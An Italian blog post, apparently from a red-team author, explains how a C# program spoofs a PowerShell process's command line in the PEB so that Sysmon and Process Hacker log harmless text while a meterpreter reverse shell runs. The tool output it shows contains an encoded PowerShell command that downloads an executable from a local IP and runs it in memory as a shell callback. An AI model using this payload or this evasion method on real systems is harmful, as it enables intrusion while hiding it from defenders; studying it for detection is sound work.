
Come spoofare la riga di comando quando si genera un nuovo processo da C#.
Un esempio di utilizzo di C# per iniettare una shell meterpreter, mentre si spoofa la riga di comando. La riga di comando è memorizzata nel Process Environment Block, viene registrata quando un nuovo processo viene avviato e viene visualizzata in strumenti come Process Hacker e Task Manager.
Questo codice è basato sul blog How to Argue like Cobalt Strike di Adam Chester/XPN, il blog spiega come Cobalt Strike spoofa la riga di comando di un processo quando inietta un beacon.
L'ho usato come base per creare una versione C# che genera un processo PowerShell e inietta una reverse shell meterpreter. Certo, non c'è bisogno di un binario .Net per farlo, ma dimostra come i comandi possano essere spoofati.
Un nuovo processo viene avviato in stato sospeso con un argomento della riga di comando spoofato.
Il comando spoofato viene registrato, ma siamo in grado di cambiare la riga di comando nel PEB del processo. Quando il thread principale viene ripreso, il processo utilizza la nuova riga di comando nel PEB.
L'esecuzione del codice è mostrata di seguito:
[+] Spoofing command: powershell.exe nothing to see here! :-P
[+] Process spawned, PID: 8588
[+] PEB Address: 0x2B2366F000
[+] ProcessParameters Address: 0x1EF61560000
[+] CommandLine Address: 0x1EF615606BC
[+] Original CommandLine: powershell.exe nothing to see here! :-P
[+] New CommandLine: powershell.exe -exec bypass -enc WwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACgASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMgAyADgALwBwAC4AZQB4AGUAIgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAKAAsACAAWwBzAHQAcgBpAG4AZwBbAF0AXQAgACgAJwAxADkAMgAuADEANgA4AC4AMQAuADIAMgA4ACcALAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAUABJAEQALAAgACcAMQAwACcAKQApACkAOwB3AGgAaQBsAGUAIAAoACQAdAByAHUAZQApAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADAAMAB9AA== , written to process
[+] Resuming process
Questo esempio inietta una reverse shell meterpreter usando PowerShell, ma viene registrata con un argomento della riga di comando spoofato.
Sysmon registra la riga di comando originale (spoofata):

Process Hacker non rivela il comando eseguito:
